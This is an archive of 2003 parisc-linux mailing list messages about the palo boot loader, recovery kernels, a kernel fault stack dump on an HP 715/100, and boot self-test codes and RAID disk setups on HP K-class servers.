   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--+8CbEAItL+VIz8WN
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE+2TW6Hb1edYOZ4bsRAuWIAJ9fIncQr1+hfLflFL7YkM1z+OMTRQCfe8FN
1A1E3olyhctboAqropywKgA=
=LRVQ
-----END PGP SIGNATURE-----

--+8CbEAItL+VIz8WN--


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo & recoverykernel
Date: Sun, 1 Jun 2003 12:29:27 +0000 (UTC)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306011216560.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622487 26334 80.91.229.3 (22 Nov 2014 02:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 06:29:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA6594829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 06:29:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 663021FFBCA
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 14:29:38 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 86FB21FFBD6; Sun,  1 Jun 2003 14:29:37 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 255A215382; Sun,  1 Jun 2003 12:29:26 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 1B32A1532F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 12:29:27 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18583

Hi,

I am currently using:

--commandline=3/boot/vmlinux-2.5.70-pa4 root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
--recoverykernel=/boot/vmlinux-2.5.69-pa1
--init-partitioned=/dev/sdb

in palo.conf.

Now if commandline kernel will not boot is there a way to tell palo to
boot recovery kernel when entered boot pri/alt ipl ?
Is it possible to do this without manually changing the path (one has
to know ?) by editing field 0 and then use 'b' to boot ?

Or is there a chance to have an alternate boot option on the palo menu ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.70-pa4 no booting on 715/100
Date: Sun, 1 Jun 2003 13:01:56 +0000 (UTC)
Lines: 81
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306011256430.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622488 26335 80.91.229.3 (22 Nov 2014 02:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 07:02:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11B5D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 07:02:12 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 67B611FFBCA
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 15:02:11 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 6EAFE1FFBD3; Sun,  1 Jun 2003 15:02:10 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 8FE2815382; Sun,  1 Jun 2003 13:01:56 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 857F31532F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 13:01:56 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18584

Hi,

2.5.70-pa4, no modules

...
IPv6 over IPv4 tunneling driver
802.1Q VLAN Support v1.8 Ben Greear <greearb@candelatech.com>
All bugs added by David S. Miller <davem@redhat.com>
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 432k freed

Stack Dump:
 10034200:  0006ff0e 100336c0 102f3810 1035f810
 100341f0:  00000000 10155ea4 100826d4 10346960
 100341e0:  102a4010 15ef71dc faf00078 ffffffe0
 100341d0:  100336c0 0000003f 00000040 15faed48
 100341c0:  00000000 102b9000 102a4010 102a4010
 100341b0:  0900deee 1012f58c 00020002 15ff1000
 100341a0:  00020002 faf00078 00000001 00000003
 10034190:  00020002 15ff1000 00020002 00000000
 10034180:  15ffe754 40182000 40027094 40181300
 10034170:  40183338 101063e4 102b5020 faf010a8
 10034160:  100826d4 10346960 15ff826c ffffffea
 10034150:  100340d8 00000000 0000000e faf00078
 10034140:  00000001 40001ffb faf00140 10309810
 10034130:  10367920 1012fa94 00000000 00000001
 10034120:  00000003 100826d4 15ff1000 00000001
 10034110:  00000040 faf00348 faf00350 00000000
 10034100:  000272ae 00000001 100336c0 102b9000
 100340f0:  faf00348 4017f988 00000000 faf00fc0
 100340e0:  faf00000 00000001 faf00348 00000000
 100340d0:  00000000 00000000 00027456 00000001
 100340c0:  faf005c0 00000000 00000000 00000000
 100340b0:  00000000 1010afe8 00000000 00000000
 100340a0:  00000000 1028bd04 000001b0 000002bd
 10034090:  40000000 00000000 00000000 102b9000
 10034080:  100336c0 00000000 00000000 00000000
 10034070:  00000000 1010a088 00000000 00000000
 10034060:  00000000 00000000 00000000 00000000
 10034050:  00000000 00000000 00000000 00000000
 10034040:  00000000 00000000 00000000 00000000
 10034030:  00000000 00000000 00000000 00000000
 10034020:  00000000 00000000 00000000 00000000
 10034010:  00000001 00000000 00000000 102ba8e4

Kernel addresses on the stack:
 [<10155ea4>] dentry_open+0x12c/0x1b8
 [<1012f58c>] do_sigaction+0xe0/0x290
 [<101063e4>] handle_interruption+0x274/0x5b4
 [<1012fa94>] sys_rt_sigaction+0x7c/0xc4
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=10034200 (Addr=00027454)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  00000000 102e5890 1012f58c 00027454
r04-07  00000000 0000000d 0000000e 15faed54
r08-11  100340c8 00027670 102b9000 00026e70
r12-15  00027670 00000000 100336c0 102b9000
r16-19  102a4010 102a4010 0900deee 102a4010
r20-23  00001000 00027457 000000e0 0000000c
r24-27  00000000 00000000 00027456 102a4010
r28-31  00027456 00000400 10034200 400614af
sr0-3   00000001 00000001 00000000 00000001
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1019f414 1019f418
 IIR: 0c601094    ISR: 00000000  IOR: 00027454
 CPU:        0   CR30: 10034000 CR31: 102e8000
 ORIG_R28: 00000001


-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo II
Date: Sun, 1 Jun 2003 13:04:12 +0000 (UTC)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622488 26337 80.91.229.3 (22 Nov 2014 02:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 07:04:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C44914829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 07:04:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 27AB01FFBCA
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 15:04:26 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 306171FFBD3; Sun,  1 Jun 2003 15:04:25 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 4F54D15382; Sun,  1 Jun 2003 13:04:11 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 457681532F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 13:04:12 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18585

Hi,

is there a chance that one can recover from s.t.h like this ?

Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.60-pa1'
Selected kernel: /boot/vmlinux-2.5.60-pa1 from partition 3
ERROR: open /boot/vmlinux-2.5.60-pa1 from partition 3 failed
--- dead end ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Sun, 1 Jun 2003 15:44:17 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <200306011543.59335.deller@gmx.de>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622488 26342 80.91.229.3 (22 Nov 2014 02:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:48 +0000 (UTC)
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 07:43:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id ABBFE4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 07:43:55 -0600 (MDT)
Original-Received: (qmail 8383 invoked by uid 65534); 1 Jun 2003 13:43:53 -0000
Original-Received: from pD9040711.dip.t-dialin.net (EHLO p100) (217.4.7.17)
  by mail.gmx.net (mp012) with SMTP; 01 Jun 2003 15:43:53 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18586

On Sunday 01 June 2003 15:04, Bjoern A. Zeeb wrote:
> is there a chance that one can recover from s.t.h like this ?
>
> Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
> palo_kernel=3/boot/vmlinux-2.5.60-pa1' Selected kernel:
> /boot/vmlinux-2.5.60-pa1 from partition 3
> ERROR: open /boot/vmlinux-2.5.60-pa1 from partition 3 failed

You could boot a good kernel via tftp. That's how I test different kernels...

Helge


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Sun, 1 Jun 2003 14:05:20 +0000 (UTC)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
 <200306011543.59335.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622489 26345 80.91.229.3 (22 Nov 2014 02:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 08:05:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id E682B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 08:05:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id AE4D91FFBCE; Sun,  1 Jun 2003 16:05:35 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id BAB331FFBD3; Sun,  1 Jun 2003 16:05:34 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 1CDFD15382; Sun,  1 Jun 2003 14:05:20 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 12C1F1532F; Sun,  1 Jun 2003 14:05:21 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200306011543.59335.deller@gmx.de>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18587

On Sun, 1 Jun 2003, Helge Deller wrote:

> > is there a chance that one can recover from s.t.h like this ?
> >
> > Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
> > palo_kernel=3/boot/vmlinux-2.5.60-pa1' Selected kernel:
> > /boot/vmlinux-2.5.60-pa1 from partition 3
> > ERROR: open /boot/vmlinux-2.5.60-pa1 from partition 3 failed
>
> You could boot a good kernel via tftp. That's how I test different kernels...

not a too bad idea but that's not the problem here.

When palo cannot open the kernel and errors out shouldn't it fall back
to the dialog and ask one to which fields to change instead of simply
running into a dead end where I think I can only recover from with
physical access to the machine ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Sun, 01 Jun 2003 17:51:29 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <3EDA3D21.8070400@tiscali.be>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net> <200306011543.59335.deller@gmx.de> <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622489 26347 80.91.229.3 (22 Nov 2014 02:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 11:37:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDF154829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 11:37:29 -0600 (MDT)
Original-Received: from [62.235.171.101] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19MWlq-0007XQ-00; Sun, 01 Jun 2003 19:37:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18588

Bjoern A. Zeeb wrote:

>On Sun, 1 Jun 2003, Helge Deller wrote:
>
>  
>
>>>is there a chance that one can recover from s.t.h like this ?
>>>
>>>Command line for kernel: 'root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
>>>palo_kernel=3/boot/vmlinux-2.5.60-pa1' Selected kernel:
>>>/boot/vmlinux-2.5.60-pa1 from partition 3
>>>ERROR: open /boot/vmlinux-2.5.60-pa1 from partition 3 failed
>>>      
>>>
>>You could boot a good kernel via tftp. That's how I test different kernels...
>>    
>>
>
>not a too bad idea but that's not the problem here.
>
>When palo cannot open the kernel and errors out shouldn't it fall back
>to the dialog and ask one to which fields to change instead of simply
>running into a dead end where I think I can only recover from with
>physical access to the machine ?
>
>  
>
Afaik no way right now and I think it would be a good idea to open a bug 
report about this subject.
The current palo status of is specialy anoying when you reboot a server 
as a N (selftest of about 1/4h) and you made some stupid typo (as you 
do: 60 in place of 69) .

Hmm if I still have some time to have a look on this (as well as for 
booting a compressed kernel), which is the best 'model' (the nearest of 
palo) that I would have to analyse?

Cheers,
    Joel



From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on a K370 with Debian 3.0r1 + RAID1 boot.
Date: Sun, 1 Jun 2003 18:34:36 -0700 (PDT)
Lines: 85
Approved: news@gmane.org
Message-ID: <20030602013436.90803.qmail@web12507.mail.yahoo.com>
References: <20030531214029.GD9267@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-793362612-1054517676=:90307"
X-Trace: ger.gmane.org 1416622489 26348 80.91.229.3 (22 Nov 2014 02:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian "Siland" <stian@soiland.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  1 19:34:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id 7FE724829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Jun 2003 19:34:37 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12507.mail.yahoo.com via HTTP; Sun, 01 Jun 2003 18:34:36 PDT
In-Reply-To: <20030531214029.GD9267@itea.ntnu.no>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18589

--0-793362612-1054517676=:90307
Content-Type: text/plain; charset=us-ascii

I could tell you what all those codes are upon boot-up, but it would take awile.  They take up half of the K-Class Service Manual.... ;)  The K-Class manual is not posted on the web, but if you ever have any fault codes scrolling on your terminal or on the LCD I'm sure someone here can help decifer them.  It will actually say FLT XXXX or WARN XXXX.  Warnings will not typically not affect system start-up.  By the way, the way the disks mount in that internal drive housing I think it would be futile to even try to mount anymore disks in there.  Plus you would need a longer/terminated HVD cable with more drive connectors.  You are better off using an external enclosure slaved off of the 10/0 bus which is the external extension of the internal disk cage.
 
derek


Stian Siland <stian@soiland.no> wrote:
On 2003-05-31 15:54:36, Siraj 'Sid' Rakhada wrote:

> If you skip this step, Debian will boot, but you will be unable to use the
> console.
> Note I have not actually done the above when I was installing - I cheated
> and installed sshd via a chroot setup - because I did not realise the
> ttyB0 major number was incorrect on the install CD. I'm expecting that
> modifying the device as above should work. If I had more time I would have
> tried the above method.

For later boots, devfs and devfsd should be able to handle this if your
kernel supports it.

> This is also the first time I've ever really used a HP box, and they are
> ... interesting :) e.g. is it normal that the machine will take about 10+
> minutes to boot up? (just to get to the boot ROM, nothing to do with linux
> - self tests are enabled, though disabilng them does not make too much of
> a difference).

Oh yeah, my K250 takes ages just to get started, the LCD display and
status line on the serial console changes with different numbers. Any
idea of what all those numbers mean? I suppose they are different parts
that are tested, but a translation would be nice. 

My manuals does not explain these messages in detail..

How ever, nice guide, I wish I had it when I set up my system =)


... goes off-topic:

I have 6 SCSI disks connected, distributed in two raid1-sets for / and
/usr, and a raid5-set for /home. Some of the disks are 4 GB, the rest 2
GB, so I've done dirty tricks with partitions to get the whole thing up,
and not waisting any space, and I now even have a spare disk, although
tests reveal the disk is broken.. I've managed to get two more 2
GB-disk to replace it.. =)

